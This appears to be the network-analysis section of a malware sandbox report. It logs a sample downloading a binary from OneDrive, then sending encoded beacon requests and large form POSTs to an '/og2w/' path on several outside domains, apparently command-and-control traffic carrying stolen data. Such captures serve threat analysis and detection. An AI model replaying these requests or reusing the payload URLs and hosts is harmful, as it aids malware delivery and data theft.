Network Analysis

GET /download?cid=E9FFBDDD0AB75605&resid=E9FFBDDD0AB75605%21109&authkey=ABYj71iorCY38jA HTTP/1.1 User-Agent: lVali Host: onedrive.live.com

HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Type: text/html Expires: -1 Location: https://3jaqfq.am.files.1drv.com/y4m9NcDd_ZUc-GHIuKUJyY5hL6x3aLUxl-YC6RJP1LELDrHXkb4STEbYPsABvitxp7nPbLk9le36HVSTTDIiO0Trb7b1V7RTuFcf2-bU-I2nFaemAFuadfU0NoWSqbpkPK8rRQZjfl6YHBLX5qU-9GOQ9k4bjaSe72pWfC52uClmJHPOlKOOP_TcruMbLJ-CEdQ_EEBWOneCB3_bqGPDui2pw/Ajihoeuvpfseywgzvkdmaxhisrgsstr?download&psid=1 Set-Cookie: E=P:Znwt7AOV2Yg=:+9bfxLYJ4fRpSztjeyhTXbRh3Kiu/QUDUNui5QV8u3I=:F; domain=.live.com; path=/ Set-Cookie: xid=8cce385f-b27c-4ea1-a4ca-a41bb0052f44&&RD00155D74B0F2&342; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Fri, 22-Oct-2021 00:50:32 GMT; path=/ Set-Cookie: wla42=; domain=live.com; expires=Fri, 29-Oct-2021 02:30:33 GMT; path=/ X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: RD00155D74B0F2 X-ODWebServer: northcentralus1-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: B95BA5FF11A841B7A27EAE032D9C1924 Ref B: SLAEDGE1013 Ref C: 2021-10-22T02:30:32Z Date: Fri, 22 Oct 2021 02:30:33 GMT Content-Length: 0

GET /y4m9NcDd_ZUc-GHIuKUJyY5hL6x3aLUxl-YC6RJP1LELDrHXkb4STEbYPsABvitxp7nPbLk9le36HVSTTDIiO0Trb7b1V7RTuFcf2-bU-I2nFaemAFuadfU0NoWSqbpkPK8rRQZjfl6YHBLX5qU-9GOQ9k4bjaSe72pWfC52uClmJHPOlKOOP_TcruMbLJ-CEdQ_EEBWOneCB3_bqGPDui2pw/Ajihoeuvpfseywgzvkdmaxhisrgsstr?download&psid=1 HTTP/1.1 User-Agent: lVali Host: 3jaqfq.am.files.1drv.com Connection: Keep-Alive

HTTP/1.1 200 OK Cache-Control: public Content-Length: 297984 Content-Type: application/octet-stream Content-Location: https://3jaqfq.am.files.1drv.com/y4mENVsMXoc902zLs0519sLNwKKU0ekVqXmfRB-1sAGJrnHH585gmffKHizZkMBw-IZr4_WEagtBcPRUOc0vsQ_L2knnyJPaGfQjAITeEDeocqV3EoD1SWdNxuHFmqgbvMIQF2YTx5otwOtAVWVs5t9Ww8FQyHAyOh4Je6zPr1d2M5ts1AGljAT3Ho_asXts-I5 Expires: Thu, 20 Jan 2022 02:30:34 GMT Last-Modified: Thu, 21 Oct 2021 08:36:10 GMT Accept-Ranges: bytes ETag: E9FFBDDD0AB75605!109.2 P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" X-MSNSERVER: AM3PPF5D831E1B7 Strict-Transport-Security: max-age=31536000; includeSubDomains MS-CV: lczw5zpF20S00kxD6oQhEQ.0 X-SqlDataOrigin: S CTag: aYzpFOUZGQkRERDBBQjc1NjA1ITEwOS4yNTc X-PreAuthInfo: rv;poba; Content-Disposition: attachment; filename="Ajihoeuvpfseywgzvkdmaxhisrgsstr" X-Content-Type-Options: nosniff X-StreamOrigin: X X-AsmVersion: UNKNOWN; 19.781.1007.2003 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: F131985DF8A14F5E936EE25474F73E6A Ref B: SLAEDGE1017 Ref C: 2021-10-22T02:30:34Z Date: Fri, 22 Oct 2021 02:30:34 GMT

GET /download?cid=E9FFBDDD0AB75605&resid=E9FFBDDD0AB75605%21109&authkey=ABYj71iorCY38jA HTTP/1.1 User-Agent: aswe Host: onedrive.live.com Cache-Control: no-cache Cookie: E=P:Znwt7AOV2Yg=:+9bfxLYJ4fRpSztjeyhTXbRh3Kiu/QUDUNui5QV8u3I=:F; xid=8cce385f-b27c-4ea1-a4ca-a41bb0052f44&&RD00155D74B0F2&342; xidseq=1; wla42=

HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Type: text/html Expires: -1 Location: https://3jaqfq.am.files.1drv.com/y4mDJ-FDsSGp1PeATbALhO1LMI7cTJ9FePRrkNEtWG3rHFjt_i4rSUCWbQOGLNAmBI8N37baAfkTDo1nGhbOSuT7MK0ywZgPNGT33Noc102eAtOnfb-1XQGdUtGu9u38cLgAYzEvGmRo6bJ_gbtHFbm5E4_W8w2XTJKegmp-GqeyNrZsM69-AooFcQoTiVbnroYqmVVen8sASYkwAwmXz-dFA/Ajihoeuvpfseywgzvkdmaxhisrgsstr?download&psid=1 Set-Cookie: E=P:Xqcu7QOV2Yg=:bZZTqzhvZfDBDfuPoh/Asb7swNbKKOAL66abtjMokT0=:F; domain=.live.com; path=/ Set-Cookie: xidseq=2; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Fri, 22-Oct-2021 00:50:34 GMT; path=/ Set-Cookie: wla42=; domain=live.com; expires=Fri, 29-Oct-2021 02:30:35 GMT; path=/ X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: RD00155D6F9F82 X-ODWebServer: northcentralus1-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 40B70783F600423781955D4CE3126E82 Ref B: SLAEDGE1013 Ref C: 2021-10-22T02:30:34Z Date: Fri, 22 Oct 2021 02:30:35 GMT Content-Length: 0

GET /y4mDJ-FDsSGp1PeATbALhO1LMI7cTJ9FePRrkNEtWG3rHFjt_i4rSUCWbQOGLNAmBI8N37baAfkTDo1nGhbOSuT7MK0ywZgPNGT33Noc102eAtOnfb-1XQGdUtGu9u38cLgAYzEvGmRo6bJ_gbtHFbm5E4_W8w2XTJKegmp-GqeyNrZsM69-AooFcQoTiVbnroYqmVVen8sASYkwAwmXz-dFA/Ajihoeuvpfseywgzvkdmaxhisrgsstr?download&psid=1 HTTP/1.1 User-Agent: aswe Host: 3jaqfq.am.files.1drv.com Cache-Control: no-cache Connection: Keep-Alive

HTTP/1.1 200 OK Cache-Control: public Content-Length: 297984 Content-Type: application/octet-stream Content-Location: https://3jaqfq.am.files.1drv.com/y4mENVsMXoc902zLs0519sLNwKKU0ekVqXmfRB-1sAGJrnHH585gmffKHizZkMBw-IZr4_WEagtBcPRUOc0vsQ_L2knnyJPaGfQjAITeEDeocqV3EoD1SWdNxuHFmqgbvMIQF2YTx5otwOtAVWVs5t9Ww8FQyHAyOh4Je6zPr1d2M5ts1AGljAT3Ho_asXts-I5 Expires: Thu, 20 Jan 2022 02:30:36 GMT Last-Modified: Thu, 21 Oct 2021 08:36:11 GMT Accept-Ranges: bytes ETag: E9FFBDDD0AB75605!109.2 P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" X-MSNSERVER: AM4PPF437ABE470 Strict-Transport-Security: max-age=31536000; includeSubDomains MS-CV: iNGDjoZLX0izzU7lCKCSHQ.0 X-SqlDataOrigin: S CTag: aYzpFOUZGQkRERDBBQjc1NjA1ITEwOS4yNTc X-PreAuthInfo: rv;poba; Content-Disposition: attachment; filename="Ajihoeuvpfseywgzvkdmaxhisrgsstr" X-Content-Type-Options: nosniff X-StreamOrigin: X X-AsmVersion: UNKNOWN; 19.781.1007.2003 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 0748463E09A9444990DD1864904CC0FE Ref B: SLAEDGE1017 Ref C: 2021-10-22T02:30:35Z Date: Fri, 22 Oct 2021 02:30:35 GMT

GET /og2w/?HzrLR=2n8A1PfAVAzhZ3Hc4aY9dwANXyB5d3RIGzd/lG0EaSO3J5o8WGm6pS7XNEVcLC/w0j6f90Gx&Qh-Ha=tBwxNhWXOzSD&sql=1 HTTP/1.1 Host: www.tamzeedhossain.xyz Connection: close

HTTP/1.1 301 Moved Permanently Connection: close content-type: text/html; charset=UTF-8 expires: Wed, 11 Jan 1984 05:00:00 GMT cache-control: no-cache, must-revalidate, max-age=0 x-redirect-by: WordPress location: http://tamzeedhossain.xyz/og2w/?HzrLR=2n8A1PfAVAzhZ3Hc4aY9dwANXyB5d3RIGzd/lG0EaSO3J5o8WGm6pS7XNEVcLC/w0j6f90Gx&Qh-Ha=tBwxNhWXOzSD&sql=1 content-length: 0 date: Fri, 22 Oct 2021 02:31:12 GMT server: LiteSpeed vary: User-Agent

POST /og2w/ HTTP/1.1 Host: www.tamzeedhossain.xyz Connection: close Content-Length: 3415 Cache-Control: no-cache Origin: http://www.tamzeedhossain.xyz User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.tamzeedhossain.xyz/og2w/ Accept-Language: en-US Accept-Encoding: gzip, deflate

HTTP/1.1 404 Not Found Connection: close content-type: text/html; charset=UTF-8 expires: Wed, 11 Jan 1984 05:00:00 GMT cache-control: no-cache, must-revalidate, max-age=0 link: <http://tamzeedhossain.xyz/wp-json/>; rel="https://api.w.org/" transfer-encoding: chunked content-encoding: gzip vary: Accept-Encoding,User-Agent date: Fri, 22 Oct 2021 02:31:12 GMT server: LiteSpeed

POST /og2w/ HTTP/1.1 Host: www.tamzeedhossain.xyz Connection: close Content-Length: 154143 Cache-Control: no-cache Origin: http://www.tamzeedhossain.xyz User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.tamzeedhossain.xyz/og2w/ Accept-Language: en-US Accept-Encoding: gzip, deflate

HTTP/1.1 404 Not Found Connection: close content-type: text/html; charset=UTF-8 expires: Wed, 11 Jan 1984 05:00:00 GMT cache-control: no-cache, must-revalidate, max-age=0 link: <http://tamzeedhossain.xyz/wp-json/>; rel="https://api.w.org/" transfer-encoding: chunked content-encoding: gzip vary: Accept-Encoding,User-Agent date: Fri, 22 Oct 2021 02:31:13 GMT server: LiteSpeed

GET /og2w/?HzrLR=8Qx1tP3sSR3Pi0BPI5Y3Wscd1rolyxc4xXpahl252jPQw5aPvU+EM4W1Ph9GZj366CKy6bjY&Qh-Ha=tBwxNhWXOzSD&sql=1 HTTP/1.1 Host: www.riverdenim.com Connection: close

HTTP/1.1 200 OK Date: Fri, 22 Oct 2021 02:31:27 GMT Server: Apache Set-Cookie: vsid=927vr3824154879047391; expires=Wed, 21-Oct-2026 02:31:27 GMT; Max-Age=157680000; path=/; domain=www.riverdenim.com; HttpOnly X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKX74ixpzVyXbJprcLfbH4psP4+L2entqri0lzh6pkAaXLPIcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRyjS2penECAwEAAQ==_lGQU+jjLNimH4b8mIhlRb53oBVYsTt7ay3nXP9YkpYPPalAyn2wE3GqDeHBiweC8gH1OsM5xFHYCg3QVbeBkxw== Keep-Alive: timeout=5, max=107 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8

GET /og2w/?HzrLR=RMYdZkGlKd9/cr2q5T7ZE6ssqe4CFpRGJ/mMAD2/ND62kBwptZEMascQDDeN8P25ASvuBy5k&Qh-Ha=tBwxNhWXOzSD&sql=1 HTTP/1.1 Host: www.royallecleaning.com Connection: close

HTTP/1.1 403 Forbidden Server: openresty Date: Fri, 22 Oct 2021 02:31:48 GMT Content-Type: text/html Content-Length: 275 ETag: "6169a6ec-113" Via: 1.1 google Connection: close

POST /og2w/ HTTP/1.1 Host: www.royallecleaning.com Connection: close Content-Length: 3415 Cache-Control: no-cache Origin: http://www.royallecleaning.com User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.royallecleaning.com/og2w/ Accept-Language: en-US Accept-Encoding: gzip, deflate

HTTP/1.1 405 Not Allowed Server: openresty Date: Fri, 22 Oct 2021 02:31:51 GMT Content-Type: text/html Content-Length: 556 X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_eMaHytaGYUFIfHrHHuibhjxouLE19hJpp95dGqsJIHv4p5LErIQzRrYTSrMVB3Wvud/nyKO4LyB+zFY2CfsC9w Via: 1.1 google Connection: close

POST /og2w/ HTTP/1.1 Host: www.royallecleaning.com Connection: close Content-Length: 154143 Cache-Control: no-cache Origin: http://www.royallecleaning.com User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.royallecleaning.com/og2w/ Accept-Language: en-US Accept-Encoding: gzip, deflate

HTTP/1.1 405 Not Allowed Server: openresty Date: Fri, 22 Oct 2021 02:31:51 GMT Content-Type: text/html Content-Length: 556 X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_eMaHytaGYUFIfHrHHuibhjxouLE19hJpp95dGqsJIHv4p5LErIQzRrYTSrMVB3Wvud/nyKO4LyB+zFY2CfsC9w Via: 1.1 google Connection: close

GET /og2w/?HzrLR=8nCUkDMhhpUJRG43K21tXcgfonDfOShSkumyTfFE8rS8vc8c9x3KWZtckQdcrOjDdiF8eozj&Qh-Ha=tBwxNhWXOzSD&sql=1 HTTP/1.1 Host: www.syktxny.com Connection: close

HTTP/1.1 404 Not Found Server: nginx Date: Fri, 22 Oct 2021 02:32:09 GMT Content-Type: text/html Content-Length: 466 Connection: close

POST /og2w/ HTTP/1.1 Host: www.syktxny.com Connection: close Content-Length: 3415 Cache-Control: no-cache Origin: http://www.syktxny.com User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.syktxny.com/og2w/ Accept-Language: en-US Accept-Encoding: gzip, deflate

POST /og2w/ HTTP/1.1 Host: www.syktxny.com Connection: close Content-Length: 154143 Cache-Control: no-cache Origin: http://www.syktxny.com User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Content-Type: application/x-www-form-urlencoded Accept: */* Referer: http://www.syktxny.com/og2w/ Accept-Language: en-US Accept-Encoding: gzip, deflate